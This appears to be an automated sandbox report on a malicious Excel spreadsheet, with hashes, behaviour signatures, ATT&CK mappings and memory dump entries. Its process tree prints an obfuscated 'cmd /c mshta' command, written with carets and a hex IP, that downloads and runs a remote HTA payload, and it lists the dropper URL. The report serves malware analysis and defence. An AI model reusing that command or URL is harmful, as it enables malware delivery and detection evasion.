8fe0538bd7c48a1e25e5ad929e0bce63ea1a1c254d0c0a0f8881a6a0f71c0278

General

Target

8fe0538bd7c48a1e25e5ad929e0bce63ea1a1c254d0c0a0f8881a6a0f71c0278.xls
Size

101KB
MD5

ddbf0b8ddfbe788f039e0cddabfe358c
SHA1

e7f149d328647952753919d9cab613a27880cd8d
SHA256

8fe0538bd7c48a1e25e5ad929e0bce63ea1a1c254d0c0a0f8881a6a0f71c0278
SHA512

1b7663d9bd9f70054b519ca67df0cd3eb0f23f47bc4e8c9c28116d43cfd9da8fea2af207b9d83f6ac4dad4d99bcd0d8e78e2fbbeb46eca4b182a831d4f336317
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4688	3440	cmd.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	4080	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3440	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3440 wrote to memory of 4688	3440	EXCEL.EXE	85
PID 3440 wrote to memory of 4688	3440	EXCEL.EXE	85
PID 4688 wrote to memory of 4080	4688	cmd.exe	87
PID 4688 wrote to memory of 4080	4688	cmd.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8fe0538bd7c48a1e25e5ad929e0bce63ea1a1c254d0c0a0f8881a6a0f71c0278.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3440
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    PID:4080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
6a7556535fe7b3f1381b6a49c3559877

SHA1
b258155457ef7b691889dd99510a78fed0c04f88

SHA256
66b533043089516ffa88f63b6a352914371be8b9039416ed3c3bd128f6c699de

SHA512
f9301936c12ac84141294a87218584d96df86257c70fb9e0350f1d194b7d4c8c18a7ded9948de78bdf72830f4c697e0bb9d9cfca65c7e3c1a6cb27f817648835

Download Submit
memory/3440-16-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-12-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-3-0x00007FFE36B50000-0x00007FFE36B60000-memory.dmp

Filesize
64KB

Download
memory/3440-4-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-6-0x00007FFE36B50000-0x00007FFE36B60000-memory.dmp

Filesize
64KB

Download
memory/3440-10-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-9-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-11-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-0-0x00007FFE36B50000-0x00007FFE36B60000-memory.dmp

Filesize
64KB

Download
memory/3440-14-0x00007FFE347B0000-0x00007FFE347C0000-memory.dmp

Filesize
64KB

Download
memory/3440-2-0x00007FFE36B50000-0x00007FFE36B60000-memory.dmp

Filesize
64KB

Download
memory/3440-15-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-13-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-18-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-19-0x00007FFE347B0000-0x00007FFE347C0000-memory.dmp

Filesize
64KB

Download
memory/3440-17-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-8-0x00007FFE36B50000-0x00007FFE36B60000-memory.dmp

Filesize
64KB

Download
memory/3440-7-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-5-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-30-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-31-0x00007FFE76B6D000-0x00007FFE76B6E000-memory.dmp

Filesize
4KB

Download
memory/3440-32-0x00007FFE76AD0000-0x00007FFE76CC5000-memory.dmp

Filesize
2.0MB

Download
memory/3440-1-0x00007FFE76B6D000-0x00007FFE76B6E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads